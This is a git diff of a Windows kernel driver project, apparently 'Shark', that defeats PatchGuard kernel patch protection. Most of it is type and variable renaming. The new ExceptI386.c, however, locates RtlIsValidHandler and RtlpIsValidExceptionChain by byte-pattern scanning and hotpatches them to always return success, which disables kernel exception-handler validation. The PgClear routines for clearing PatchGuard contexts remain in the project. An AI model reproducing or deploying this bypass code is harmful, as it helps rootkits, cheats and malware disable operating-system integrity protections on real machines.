(GetRtBlock(Context->Block)->BuildNumber >= 9200) { + if (0 == Context->Block->SystemPtes.NumberOfPtes || + NULL == Context->Block->SystemPtes.BasePte || + NULL == Context->Block->MmAllocateIndependentPages || + NULL == Context->Block->MmFreeIndependentPages || + NULL == Context->Block->MmSetPageProtection || + 0 == Context->Block->KiScbQueueScanWorker.BeginAddress || + 0 == Context->Block->KiScbQueueScanWorker.BeginAddress) { Chance = FALSE; } } - if (GetGpBlock(Context->PgBlock)->BuildNumber >= 9600) { - if (0 == Context->PgBlock->WorkerContext || - NULL == Context->PgBlock->KiWaitNever || - NULL == Context->PgBlock->KiWaitAlways) { + if (GetRtBlock(Context->Block)->BuildNumber >= 9600) { + if (0 == Context->Block->WorkerContext || + NULL == Context->Block->KiWaitNever || + NULL == Context->Block->KiWaitAlways) { Chance = FALSE; } } - if (GetGpBlock(Context->PgBlock)->BuildNumber >= 18362) { - if (0 == Context->PgBlock->OffsetSameThreadPassive) { + if (GetRtBlock(Context->Block)->BuildNumber >= 18362) { + if (0 == Context->Block->OffsetSameThreadPassive) { Chance = FALSE; } } @@ -3190,7 +3049,7 @@ PgClearWorker( (PGKERNEL_ROUTINE)NULL, (PGSYSTEM_ROUTINE)NULL, (PGRUNDOWN_ROUTINE)PgClearAll, - (PGNORMAL_ROUTINE)Context->PgBlock); + (PGNORMAL_ROUTINE)Context->Block); } KeSetEvent(&Context->Notify, LOW_PRIORITY, FALSE); @@ -3199,16 +3058,14 @@ PgClearWorker( void NTAPI PgClear( - __inout PPGBLOCK PgBlock + __inout PPGBLOCK Block ) { struct { - PPGBLOCK PgBlock; + PPGBLOCK Block; KEVENT Notify; WORK_QUEUE_ITEM Worker; - }Context = { 0 }; - - Context.PgBlock = PgBlock; + }Context = { Block, {0}, {0} }; KeInitializeEvent(&Context.Notify, SynchronizationEvent, FALSE); ExInitializeWorkItem(&Context.Worker, PgClearWorker, &Context); diff --git a/Projects/Shark/AMD64/SpaceAMD64.c b/Projects/Shark/AMD64/SpaceAMD64.c index 4c25db47..0ae64b25 100644 --- a/Projects/Shark/AMD64/SpaceAMD64.c +++ b/Projects/Shark/AMD64/SpaceAMD64.c @@ -28,7 +28,7 @@ void NTAPI InitializeSpace( - __inout PGPBLOCK Block + __inout PRTB Block ) { if (Block->BuildNumber >= 10586) { @@ -80,7 +80,7 @@ GetPxeAddress( __in ptr VirtualAddress ) { - return GpBlock->PxeBase + MiGetPxeOffset(VirtualAddress); + return RtBlock.PxeBase + MiGetPxeOffset(VirtualAddress); } PMMPTE @@ -92,7 +92,7 @@ GetPpeAddress( return (PMMPTE) (((((s64)VirtualAddress & VIRTUAL_ADDRESS_MASK) >> PPI_SHIFT) - << PTE_SHIFT) + (s64)GpBlock->PpeBase); + << PTE_SHIFT) + (s64)RtBlock.PpeBase); } PMMPTE @@ -104,7 +104,7 @@ GetPdeAddress( return (PMMPTE) (((((s64)VirtualAddress & VIRTUAL_ADDRESS_MASK) >> PDI_SHIFT) - << PTE_SHIFT) + (s64)GpBlock->PdeBase); + << PTE_SHIFT) + (s64)RtBlock.PdeBase); } PMMPTE @@ -116,7 +116,7 @@ GetPteAddress( return (PMMPTE) (((((s64)VirtualAddress & VIRTUAL_ADDRESS_MASK) >> PTI_SHIFT) - << PTE_SHIFT) + (s64)GpBlock->PteBase); + << PTE_SHIFT) + (s64)RtBlock.PteBase); } ptr @@ -125,7 +125,7 @@ GetVaMappedByPte( __in PMMPTE Pte ) { - return (ptr)((((s64)Pte - (s64)GpBlock->PteBase) << + return (ptr)((((s64)Pte - (s64)RtBlock.PteBase) << (PAGE_SHIFT + VA_SHIFT - PTE_SHIFT)) >> VA_SHIFT); } diff --git a/Projects/Shark/AMD64/StackAMD64.c b/Projects/Shark/AMD64/StackAMD64.c index 0e899f9b..30ccfe19 100644 --- a/Projects/Shark/AMD64/StackAMD64.c +++ b/Projects/Shark/AMD64/StackAMD64.c @@ -23,21 +23,21 @@ #include "Except.h" DECLSPEC_NOINLINE -ULONG +u32 NTAPI WalkFrameChain( __out PCALLERS Callers, - __in ULONG Count + __in u32 Count ) { CONTEXT ContextRecord = { 0 }; - PVOID HandlerData = NULL; - ULONG Index = 0; + ptr HandlerData = NULL; + u32 Index = 0; PRUNTIME_FUNCTION FunctionEntry = NULL; - ULONG64 ImageBase = 0; - ULONG64 EstablisherFrame = 0; - ULONG64 Top = 0; - ULONG64 Bottom = 0; + u64 ImageBase = 0; + u64 EstablisherFrame = 0; + u64 Top = 0; + u64 Bottom = 0; RtlCaptureContext(&ContextRecord); IoGetStackLimits(&Bottom, &Top); @@ -61,8 +61,8 @@ WalkFrameChain( if (EstablisherFrame >= Bottom && EstablisherFrame < Top) { - Callers[Index].Establisher = (PVOID)ContextRecord.Rip; - Callers[Index].EstablisherFrame = (PVOID *)EstablisherFrame; + Callers[Index].Establisher = (ptr)ContextRecord.Rip; + Callers[Index].EstablisherFrame = (ptr *)EstablisherFrame; } else { break; diff --git a/Projects/Shark/Ctx.h b/Projects/Shark/Ctx.h index 9d360a4c..bca4678b 100644 --- a/Projects/Shark/Ctx.h +++ b/Projects/Shark/Ctx.h @@ -32,17 +32,17 @@ extern "C" { // Home address for the parameter registers. // - ULONG64 P1Home; - ULONG64 P2Home; - ULONG64 P3Home; - ULONG64 P4Home; - ULONG64 P5; + u64 P1Home; + u64 P2Home; + u64 P3Home; + u64 P4Home; + u64 P5; // // Kernel callout initial stack value. // - ULONG64 InitialStack; + u64 InitialStack; // // Saved nonvolatile floating registers. @@ -63,41 +63,41 @@ extern "C" { // Kernel callout frame variables. // - ULONG64 TrapFrame; - ULONG64 CallbackStack; - ULONG64 OutputBuffer; - ULONG64 OutputLength; + u64 TrapFrame; + u64 CallbackStack; + u64 OutputBuffer; + u64 OutputLength; // // Saved MXCSR when a thread is interrupted in kernel mode via a dispatch // interrupt. // - ULONG64 MxCsr; + u64 MxCsr; // // Saved nonvolatile register - not always saved. // - ULONG64 Rbp; + u64 Rbp; // // Saved nonvolatile registers. // - ULONG64 Rbx; - ULONG64 Rdi; - ULONG64 Rsi; - ULONG64 R12; - ULONG64 R13; - ULONG64 R14; - ULONG64 R15; + u64 Rbx; + u64 Rdi; + u64 Rsi; + u64 R12; + u64 R13; + u64 R14; + u64 R15; // // EFLAGS and return address. // - ULONG64 Return; + u64 Return; }EXCEPTION_FRAME, *PEXCEPTION_FRAME; #define EXCEPTION_FRAME_LENGTH sizeof(EXCEPTION_FRAME) @@ -122,8 +122,8 @@ extern "C" { ) { return CONTAINING_RECORD( - (ULONG_PTR)Thread + - GpBlock->DebuggerDataBlock.OffsetKThreadApcProcess, + (u)Thread + + RtBlock.DebuggerDataBlock.OffsetKThreadApcProcess, KAPC_STATE, Process); } @@ -135,60 +135,60 @@ extern "C" { __in PKTHREAD Thread ) { - return *(PCCHAR)((ULONG_PTR)Thread + - GpBlock->DebuggerDataBlock.OffsetKThreadState); + return *(PCCHAR)((u)Thread + + RtBlock.DebuggerDataBlock.OffsetKThreadState); } FORCEINLINE PLIST_ENTRY NTAPI GetProcessThreadListHead( - __inout PGPBLOCK GpBlock, + __inout PRTB RtBlock, __inout PEPROCESS Process ) { - return (PLIST_ENTRY)((PCHAR)Process + - GpBlock->OffsetKProcessThreadListHead); + return (PLIST_ENTRY)((u8ptr)Process + + RtBlock->OffsetKProcessThreadListHead); } FORCEINLINE PETHREAD NTAPI GetProcessFirstThread( - __inout PGPBLOCK GpBlock, + __inout PRTB RtBlock, __inout PEPROCESS Process ) { return (PETHREAD) - ((PCHAR)GetProcessThreadListHead( - GpBlock, Process)->Flink - - GpBlock->OffsetKThreadThreadListEntry); + ((u8ptr)GetProcessThreadListHead( + RtBlock, Process)->Flink - + RtBlock->OffsetKThreadThreadListEntry); } FORCEINLINE PLIST_ENTRY NTAPI GetThreadListEntry( - __inout PGPBLOCK GpBlock, + __inout PRTB RtBlock, __inout PETHREAD Thread ) { - return (PLIST_ENTRY)((PCHAR)Thread + - GpBlock->OffsetKThreadThreadListEntry); + return (PLIST_ENTRY)((u8ptr)Thread + + RtBlock->OffsetKThreadThreadListEntry); } FORCEINLINE PETHREAD NTAPI GetNexThread( - __inout PGPBLOCK GpBlock, + __inout PRTB RtBlock, __inout PETHREAD Thread ) { return (PETHREAD) - ((PCHAR)(((PLIST_ENTRY)((PCHAR)Thread + - GpBlock->OffsetKThreadThreadListEntry))->Flink) - - GpBlock->OffsetKThreadThreadListEntry); + ((u8ptr)(((PLIST_ENTRY)((u8ptr)Thread + + RtBlock->OffsetKThreadThreadListEntry))->Flink) - + RtBlock->OffsetKThreadThreadListEntry); } #ifdef __cplusplus diff --git a/Projects/Shark/Except.c b/Projects/Shark/Except.c index 9cd46945..d21acc84 100644 --- a/Projects/Shark/Except.c +++ b/Projects/Shark/Except.c @@ -20,19 +20,19 @@ #include "Except.h" -VOID +void NTAPI CaptureImageExceptionValues( - __in PVOID Base, - __out PVOID * FunctionTable, - __out PULONG TableSize + __in ptr Base, + __out ptr * FunctionTable, + __out u32ptr TableSize ) { PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_LOAD_CONFIG_DIRECTORY32 LoadConfig = NULL; - ULONG LoadConfigSize = 0; + u32 LoadConfigSize = 0; PIMAGE_COR20_HEADER Cor20Header = NULL; - ULONG Cor20HeaderSize = 0; + u32 Cor20HeaderSize = 0; NtHeaders = RtlImageNtHeader(Base); @@ -58,7 +58,7 @@ CaptureImageExceptionValues( SEHandlerCount) && 0 != LoadConfig->SEHandlerTable && 0 != LoadConfig->SEHandlerCount) { - *FunctionTable = ULongToPtr(LoadConfig->SEHandlerTable); + *FunctionTable = UlongToPtr(LoadConfig->SEHandlerTable); *TableSize = LoadConfig->SEHandlerCount; } else { diff --git a/Projects/Shark/Except.h b/Projects/Shark/Except.h index 8eac962e..8e0b3d7f 100644 --- a/Projects/Shark/Except.h +++ b/Projects/Shark/Except.h @@ -26,115 +26,18 @@ extern "C" { #endif /* __cplusplus */ - enum { - KiDivideErrorFault, - KiDebugTrapOrFault, - KiNmiInterrupt, - KiBreakpointTrap, - KiOverflowTrap, - KiBoundFault, - KiInvalidOpcodeFault, - KiNpxNotAvailableFault, - KiDoubleFaultAbort, - KiNpxSegmentOverrunAbort, - KiInvalidTssFault, - KiSegmentNotPresentFault, - KiStackFault, - KiGeneralProtectionFault, - KiPageFault, - KiFloatingErrorFault, - KiAlignmentFault, - KiMcheckAbort, - KiXmmException, - KiApcInterrupt, - KiRaiseAssertion, - KiDebugServiceTrap, - KiDpcInterrupt, - KiIpiInterrupt, - KiMaxInterrupt - }; - - typedef - VOID - (NTAPI * PINTERRUPT_HANDLER) ( - VOID - ); - - typedef struct _INTERRUPTION_FRAME { - ULONG_PTR ProgramCounter; - ULONG_PTR SegCs; - ULONG_PTR Eflags; - }INTERRUPTION_FRAME, *PINTERRUPTION_FRAME; - - typedef union _INTERRUPT_ADDRESS { - struct { -#ifndef _WIN64 - USHORT Offset; - USHORT ExtendedOffset; -#else - USHORT OffsetLow; - USHORT OffsetMiddle; - ULONG OffsetHigh; -#endif // !_WIN64 - }; - - ULONG_PTR Address; - } INTERRUPT_ADDRESS, *PINTERRUPT_ADDRESS; - - typedef struct _OBJECT OBJECT, *POBJECT; - -#define MAXIMUM_USER_FUNCTION_TABLE_SIZE 512 -#define MAXIMUM_KERNEL_FUNCTION_TABLE_SIZE 256 - - typedef struct _FUNCTION_TABLE_ENTRY32 { - ULONG FunctionTable; - ULONG ImageBase; - ULONG SizeOfImage; - ULONG SizeOfTable; - } FUNCTION_TABLE_ENTRY32, *PFUNCTION_TABLE_ENTRY32; - - C_ASSERT(sizeof(FUNCTION_TABLE_ENTRY32) == 0x10); - - typedef struct _FUNCTION_TABLE_ENTRY64 { - ULONG64 FunctionTable; - ULONG64 ImageBase; - ULONG SizeOfImage; - ULONG SizeOfTable; - } FUNCTION_TABLE_ENTRY64, *PFUNCTION_TABLE_ENTRY64; - - C_ASSERT(sizeof(FUNCTION_TABLE_ENTRY64) == 0x18); - - typedef struct _FUNCTION_TABLE { - ULONG CurrentSize; - ULONG MaximumSize; - ULONG Epoch; - BOOLEAN Overflow; - ULONG TableEntry[1]; - } FUNCTION_TABLE, *PFUNCTION_TABLE; - - C_ASSERT(FIELD_OFFSET(FUNCTION_TABLE, TableEntry) == 0x10); - - typedef struct _FUNCTION_TABLE_LEGACY { - ULONG CurrentSize; - ULONG MaximumSize; - BOOLEAN Overflow; - ULONG TableEntry[1]; - } FUNCTION_TABLE_LEGACY, *PFUNCTION_TABLE_LEGACY; - - C_ASSERT(FIELD_OFFSET(FUNCTION_TABLE_LEGACY, TableEntry) == 0xc); - - VOID + void NTAPI CaptureImageExceptionValues( - __in PVOID Base, - __out PVOID * FunctionTable, - __out PULONG TableSize + __in ptr Base, + __out ptr * FunctionTable, + __out u32ptr TableSize ); - VOID + void NTAPI InitializeExcept( - __inout PGPBLOCK Block + __inout PRTB Block ); #ifndef _WIN64 @@ -142,17 +45,41 @@ extern "C" { PEXCEPTION_REGISTRATION_RECORD RegistrationPointer; } DISPATCHER_CONTEXT; #else - VOID + void NTAPI InsertInvertedFunctionTable( - __in PVOID ImageBase, - __in ULONG SizeOfImage + __in ptr ImageBase, + __in u32 SizeOfImage ); - VOID + void NTAPI RemoveInvertedFunctionTable( - __in PVOID ImageBase + __in ptr ImageBase + ); + + PRUNTIME_FUNCTION + NTAPI + UnwindPrologue( + __in u64 ImageBase, + __in u64 ControlPc, + __in u64 FrameBase, + __in PRUNTIME_FUNCTION FunctionEntry, + __inout PCONTEXT ContextRecord, + __inout_opt PKNONVOLATILE_CONTEXT_POINTERS ContextPointers + ); + + PEXCEPTION_ROUTINE + NTAPI + VirtualUnwind( + __in u32 HandlerType, + __in u64 ImageBase, + __in u64 ControlPc, + __in PRUNTIME_FUNCTION FunctionEntry, + __inout PCONTEXT ContextRecord, + __out ptr * HandlerData, + __out u64ptr EstablisherFrame, + __inout_opt PKNONVOLATILE_CONTEXT_POINTERS ContextPointers ); #endif // !_WIN64 diff --git a/Projects/Shark/I386/ExceptI386.c b/Projects/Shark/I386/ExceptI386.c new file mode 100644 index 00000000..2681a8be --- /dev/null +++ b/Projects/Shark/I386/ExceptI386.c @@ -0,0 +1,163 @@ +/* +* +* Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. +* +* The contents of this file are subject to the Mozilla Public License Version +* 2.0 (the "License")); you may not use this file except in compliance with +* the License. You may obtain a copy of the License at +* http://www.mozilla.org/MPL/ +* +* Software distributed under the License is distributed on an "AS IS" basis, +* WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License +* for the specific language governing rights and limitations under the +* License. +* +* The Initial Developer of the Original Code is blindtiger. +* +*/ + +#include + +#include "Except.h" + +#include "Guard.h" +#include "Scan.h" +#include "Space.h" + +void +NTAPI +InitializeExcept( + __inout PRTB Block +) +{ + ptr ImageBase = NULL; + PIMAGE_NT_HEADERS NtHeaders = NULL; + PIMAGE_SECTION_HEADER NtSection = NULL; + u32 SizeToLock = 0; + u8ptr ControlPc = NULL; + u8ptr TargetPc = NULL; + u32 Length = 0; + ptr RoutineAddress = NULL; + u32 Count = 0; + UNICODE_STRING String = { 0 }; + + s8 RtlDispatchException[] = + { 0xc7, 0x41, 0x04, 0x01, 0x00, 0x00, 0x00, 0x54, 0x51 }; + + s8 Hotpatch[] = + { 0xb8, 0x01, 0x00, 0x00, 0x00, 0x90, 0x90 , 0x90 }; + + s8 RtlIsValidHandler[] = "8B ?? ?? E8 ?? ?? ?? ?? 84 C0"; + s8 RtlpIsValidExceptionChain[] = "8B ?? E8 ?? ?? ?? ?? 84 C0"; + + RtlInitUnicodeString(&String, L"ExRaiseStatus"); + + RoutineAddress = MmGetSystemRoutineAddress(&String); + + if (NULL != RoutineAddress) { + ControlPc = RoutineAddress; + + while (TRUE) { + Length = DetourGetInstructionLength(ControlPc); + + if (7 == Length) { + if (sizeof(RtlDispatchException) == RtlCompareMemory( + ControlPc, + RtlDispatchException, + sizeof(RtlDispatchException))) { + RoutineAddress = + __rva_to_va((ControlPc + + sizeof(RtlDispatchException)) + 1); + +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > RtlDispatchException\n", + RoutineAddress); +#endif // DEBUG + + break; + } + } + + ControlPc += Length; + } + + ControlPc = ScanBytes( + RoutineAddress, + (u8ptr)RoutineAddress + PAGE_SIZE, + RtlIsValidHandler); + + if (NULL != ControlPc) { + TargetPc = __rva_to_va(ControlPc + 4); + +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > RtlIsValidHandler\n", + TargetPc); +#endif // DEBUG + + ControlPc = TargetPc; + + while (TRUE) { + Length = DetourGetInstructionLength(ControlPc); + + if (0 == _cmpbyte(ControlPc[0], 0xc3) || + 0 == _cmpbyte(ControlPc[0], 0xc2)) { + RtlCopyMemory( + Hotpatch + 5, + ControlPc, + Length); + + MapLockedCopyInstruction( + TargetPc, + Hotpatch, + RTL_NUMBER_OF(Hotpatch)); + + break; + } + + ControlPc += Length; + } + } + + if (RtBlock.BuildNumber >= 9600) { + ControlPc = ScanBytes( + RoutineAddress, + (u8ptr)RoutineAddress + PAGE_SIZE, + RtlpIsValidExceptionChain); + + if (NULL != ControlPc) { + TargetPc = __rva_to_va(ControlPc + 3); + +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > RtlpIsValidExceptionChain\n", + TargetPc); +#endif // DEBUG + + ControlPc = TargetPc; + + while (TRUE) { + Length = DetourGetInstructionLength(ControlPc); + + if (0 == _cmpbyte(ControlPc[0], 0xc3) || + 0 == _cmpbyte(ControlPc[0], 0xc2)) { + RtlCopyMemory( + Hotpatch + 5, + ControlPc, + Length); + + MapLockedCopyInstruction( + TargetPc, + Hotpatch, + RTL_NUMBER_OF(Hotpatch)); + + break; + } + + ControlPc += Length; + } + } + } + } +} diff --git a/Projects/Shark/I386/I386.asm b/Projects/Shark/I386/I386.asm index 2c650a3c..579cf486 100644 --- a/Projects/Shark/I386/I386.asm +++ b/Projects/Shark/I386/I386.asm @@ -24,7 +24,15 @@ include callconv.inc .list _TEXT$00 SEGMENT PAGE 'CODE' + + cPublicProc _DriverEntry, 2 + + xor eax, eax + stdRET _DriverEntry + + stdENDP _DriverEntry + cPublicProc __FlushSingleTb, 1 mov eax, [esp + 4] diff --git a/Projects/Shark/I386/SpaceI386.c b/Projects/Shark/I386/SpaceI386.c index 3cdce5d8..5e71e708 100644 --- a/Projects/Shark/I386/SpaceI386.c +++ b/Projects/Shark/I386/SpaceI386.c @@ -28,7 +28,7 @@ void NTAPI InitializeSpace( - __inout PGPBLOCK Block + __inout PRTB Block ) { Block->PteBase = (PMMPTE)PTE_BASE; @@ -50,9 +50,9 @@ GetPdeAddress( __in ptr VirtualAddress ) { - return (PMMPTE)(0 != GpBlock->DebuggerDataBlock.PaeEnabled ? - _GetPdeAddressPae(VirtualAddress, GpBlock->PdeBase) : - _GetPdeAddress(VirtualAddress, GpBlock->PdeBase)); + return (PMMPTE)(0 != RtBlock.DebuggerDataBlock.PaeEnabled ? + _GetPdeAddressPae(VirtualAddress, RtBlock.PdeBase) : + _GetPdeAddress(VirtualAddress, RtBlock.PdeBase)); } PMMPTE @@ -61,9 +61,9 @@ GetPteAddress( __in ptr VirtualAddress ) { - return (PMMPTE)(0 != GpBlock->DebuggerDataBlock.PaeEnabled ? - _GetPteAddressPae(VirtualAddress, GpBlock->PteBase) : - _GetPteAddress(VirtualAddress, GpBlock->PteBase)); + return (PMMPTE)(0 != RtBlock.DebuggerDataBlock.PaeEnabled ? + _GetPteAddressPae(VirtualAddress, RtBlock.PteBase) : + _GetPteAddress(VirtualAddress, RtBlock.PteBase)); } ptr @@ -72,7 +72,7 @@ GetVaMappedByPte( __in PMMPTE Pte ) { - return (ptr)(0 != GpBlock->DebuggerDataBlock.PaeEnabled ? + return (ptr)(0 != RtBlock.DebuggerDataBlock.PaeEnabled ? _GetVaMappedByPtePae(Pte) : _GetVaMappedByPte(Pte)); } @@ -83,7 +83,7 @@ GetVaMappedByPde( __in PMMPTE Pde ) { - return (ptr)(0 != GpBlock->DebuggerDataBlock.PaeEnabled ? + return (ptr)(0 != RtBlock.DebuggerDataBlock.PaeEnabled ? _GetVaMappedByPdePae(Pde) : _GetVaMappedByPde(Pde)); } diff --git a/Projects/Shark/I386/StackI386.c b/Projects/Shark/I386/StackI386.c index c9670182..aab662f4 100644 --- a/Projects/Shark/I386/StackI386.c +++ b/Projects/Shark/I386/StackI386.c @@ -21,17 +21,17 @@ #include "Stack.h" DECLSPEC_NOINLINE -ULONG +u32 NTAPI WalkFrameChain( __out PCALLERS Callers, - __in ULONG Count + __in u32 Count ) { - ULONG Fp = 0; - ULONG Index = 0; - ULONG Top = 0; - ULONG Bottom = 0; + u32 Fp = 0; + u32 Index = 0; + u32 Top = 0; + u32 Bottom = 0; IoGetStackLimits(&Bottom, &Top); @@ -40,11 +40,11 @@ WalkFrameChain( while (Index < Count && Fp >= Bottom && Fp < Top) { - Callers[Index].Establisher = (PVOID)(*(PULONG)(Fp + 4)); - Callers[Index].EstablisherFrame = (PVOID *)(Fp + 8); + Callers[Index].Establisher = (ptr)(*(u32ptr)(Fp + 4)); + Callers[Index].EstablisherFrame = (ptr *)(Fp + 8); Index += 1; - Fp = *(PULONG)Fp; + Fp = *(u32ptr)Fp; } return Index; diff --git a/Projects/Shark/Makefile b/Projects/Shark/Makefile index 99e837f1..fa47f10d 100644 --- a/Projects/Shark/Makefile +++ b/Projects/Shark/Makefile @@ -44,12 +44,8 @@ PROJD = $(SLND)Projects\$(PROJ) BUILD: $(PROJTARG).sys OBJD = $(SLND)Build\Objs\$(PROJ)\$(ARCTARG) - -!if "$(ARCTARG)" == "I386" -PROJENTRY = GsDriverEntry@8 -!else -PROJENTRY = GsDriverEntry -!endif + +PROJENTRY = __security_init_cookie ASOBJS = \ $(OBJD)\$(ARCTARG).obj \ @@ -57,6 +53,7 @@ ASOBJS = \ CCARCHOBJS = \ $(OBJD)\Context$(ARCTARG).obj \ + $(OBJD)\Except$(ARCTARG).obj \ $(OBJD)\PatchGuard$(ARCTARG).obj \ $(OBJD)\Space$(ARCTARG).obj \ $(OBJD)\Stack$(ARCTARG).obj @@ -140,7 +137,7 @@ BUILDLIBS = hal.lib ntoskrnl.lib bufferoverflowk.lib \ !else if "$(ARCTARG)" == "AMD64" gshandler.obj gshandlerseh.obj \ !endif - detours.lib + disasm.obj detours.obj LINK = link.exe /nologo LINKFLAGS = $(LINKIGNORE) /WX /NODEFAULTLIB /machine:$(ARCH) /debug /debugtype:cv,fixup diff --git a/Projects/Shark/PatchGuard.c b/Projects/Shark/PatchGuard.c index 33554eb3..68b56a9e 100644 --- a/Projects/Shark/PatchGuard.c +++ b/Projects/Shark/PatchGuard.c @@ -19,3 +19,4 @@ #include #include "PatchGuard.h" + diff --git a/Projects/Shark/PatchGuard.h b/Projects/Shark/PatchGuard.h index 966d68b7..fd71079d 100644 --- a/Projects/Shark/PatchGuard.h +++ b/Projects/Shark/PatchGuard.h @@ -102,9 +102,9 @@ extern "C" { }MI_SYSTEM_VA_TYPE, *PMI_SYSTEM_VA_TYPE; typedef struct _PGBLOCK { - struct _GPBLOCK * GpBlock; + struct _RTB * RtBlock; -#define GetGpBlock(pgb) (pgb->GpBlock) +#define GetRtBlock(pgb) (pgb->RtBlock) #define PG_MAXIMUM_CONTEXT_COUNT 0x00000003UI32 // The maximum number of context that may exist #define PG_FIRST_FIELD_OFFSET 0x00000100UI32 // offset of the first context member used by the search @@ -120,8 +120,12 @@ extern "C" { ((u32)((((PG_FIRST_FIELD_OFFSET + PG_COMPARE_FIELDS_COUNT * sizeof(ptr)) \ - PG_CMP_APPEND_DLL_SECTION_END) / sizeof(ptr)) - 1)) - u8 Count; - b BtcEnable; + struct { + u8 Count : 3; + b BtcEnable : 1; + b IsDebug : 1; + }; + u32 OffsetEntryPoint; u32 SizeCmpAppendDllSection; u32 SizeINITKDBG; @@ -154,10 +158,6 @@ extern "C" { PMMPTE BasePte; }SystemPtes; // system ptes -#define SYSTEM_REGION_TYPE_ARRAY_COUNT 0x100 - - s8 * SystemRegionTypeArray; - struct { ptr WorkerContext; @@ -178,6 +178,13 @@ extern "C" { ); u32 OffsetSameThreadPassive; + u32 OffsetExpWorkerThreadReturn; + ptr ExpWorkerThreadReturn; + + struct { + u64 BeginAddress; + u64 EndAddress; + } KiScbQueueScanWorker; }; // restart ExpWorkerThread ptr @@ -289,8 +296,8 @@ extern "C" { cptr ClearMessage[3]; - LIST_ENTRY ObjectList; - KSPIN_LOCK ObjectLock; + LIST_ENTRY Object; + KSPIN_LOCK Lock; u64 Fields[PG_COMPARE_FIELDS_COUNT]; u8 Header[PG_MAXIMUM_EP_BUFFER_COUNT]; @@ -308,7 +315,7 @@ extern "C" { u8 _ClearMessage[0x120]; u8 _FreeWorker[0xB0]; - u8 _ClearCallback[0xE00]; + u8 _ClearCallback[0x380]; u8 _OriginalCmpAppendDllSection[0xC8]; u8 _CacheCmpAppendDllSection[0xC8]; @@ -317,7 +324,7 @@ extern "C" { void NTAPI PgClear( - __inout PPGBLOCK PgBlock + __inout PPGBLOCK Block ); #ifdef __cplusplus diff --git a/Projects/Shark/Reload.c b/Projects/Shark/Reload.c index 59e5b72b..6b1f9012 100644 --- a/Projects/Shark/Reload.c +++ b/Projects/Shark/Reload.c @@ -25,25 +25,28 @@ #include "Except.h" #include "Scan.h" -PGPBLOCK GpBlock; - void NTAPI InitializeGpBlock( - __in PGPBLOCK Block + __in PRTB Rtb ) { PKLDR_DATA_TABLE_ENTRY DataTableEntry = NULL; - UNICODE_STRING String = { 0 }; PIMAGE_SECTION_HEADER NtSection = NULL; PCHAR SectionBase = NULL; u32 SizeToLock = 0; u8ptr ControlPc = NULL; - CONTEXT Context = { 0 }; PDUMP_HEADER DumpHeader = NULL; PKDDEBUGGER_DATA64 KdDebuggerDataBlock = NULL; PKDDEBUGGER_DATA_ADDITION64 KdDebuggerDataAdditionBlock = NULL; ptr RoutineAddress = NULL; + PLIST_ENTRY ActiveProcessEntry = NULL; + s32 Number = -1; + u8ptr TargetPc = NULL; + u32 FirstLength = 0; + u32 Length = 0; + CONTEXT Context = { 0 }; + UNICODE_STRING String = { 0 }; #ifndef _WIN64 // 6A 01 push 1 @@ -85,187 +88,251 @@ InitializeGpBlock( u8 PsLoadedModuleResource[] = "48 8D 0D ?? ?? ?? ?? E8"; #endif // !_WIN64 - Block->Linkage[0] = 0x33; - Block->Linkage[1] = 0xc0; - Block->Linkage[2] = 0xc3; + Rtb->Linkage[0] = 0x33; + Rtb->Linkage[1] = 0xc0; + Rtb->Linkage[2] = 0xc3; - PsGetVersion(NULL, NULL, &Block->BuildNumber, NULL); + PsGetVersion(NULL, NULL, &Rtb->BuildNumber, NULL); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > BuildNumber\n", - Block->BuildNumber); + vDbgPrint( + "[SHARK] < %p > BuildNumber\n", + Rtb->BuildNumber); #endif // DEBUG + } RtlInitUnicodeString(&String, L"PsInitialSystemProcess"); RoutineAddress = MmGetSystemRoutineAddress(&String); RtlCopyMemory( - &Block->PsInitialSystemProcess, + &Rtb->PsInitialSystemProcess, RoutineAddress, sizeof(ptr)); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > PsInitialSystemProcess\n", - Block->PsInitialSystemProcess); -#endif // DEBUG + vDbgPrint( + "[SHARK] < %p > PsInitialSystemProcess\n", + Rtb->PsInitialSystemProcess); +#endif // DEBUG + } RtlInitUnicodeString(&String, L"KeNumberProcessors"); RoutineAddress = MmGetSystemRoutineAddress(&String); RtlCopyMemory( - &Block->NumberProcessors, + &Rtb->NumberProcessors, RoutineAddress, sizeof(u8)); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > NumberProcessors\n", - Block->NumberProcessors); + vDbgPrint( + "[SHARK] < %p > NumberProcessors\n", + Rtb->NumberProcessors); #endif // DEBUG + } RtlInitUnicodeString(&String, L"KeEnterCriticalRegion"); - Block->KeEnterCriticalRegion = MmGetSystemRoutineAddress(&String); + Rtb->KeEnterCriticalRegion = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > KeEnterCriticalRegion\n", - Block->KeEnterCriticalRegion); -#endif // DEBUG + vDbgPrint( + "[SHARK] < %p > KeEnterCriticalRegion\n", + Rtb->KeEnterCriticalRegion); +#endif // DEBUG + } RtlInitUnicodeString(&String, L"KeLeaveCriticalRegion"); - Block->KeLeaveCriticalRegion = MmGetSystemRoutineAddress(&String); + Rtb->KeLeaveCriticalRegion = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > KeLeaveCriticalRegion\n", - Block->KeLeaveCriticalRegion); -#endif // DEBUG + vDbgPrint( + "[SHARK] < %p > KeLeaveCriticalRegion\n", + Rtb->KeLeaveCriticalRegion); +#endif // DEBUG + } RtlInitUnicodeString(&String, L"ExAcquireSpinLockShared"); - Block->ExAcquireSpinLockShared = MmGetSystemRoutineAddress(&String); + Rtb->ExAcquireSpinLockShared = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > ExAcquireSpinLockShared\n", - Block->ExAcquireSpinLockShared); + vDbgPrint( + "[SHARK] < %p > ExAcquireSpinLockShared\n", + Rtb->ExAcquireSpinLockShared); 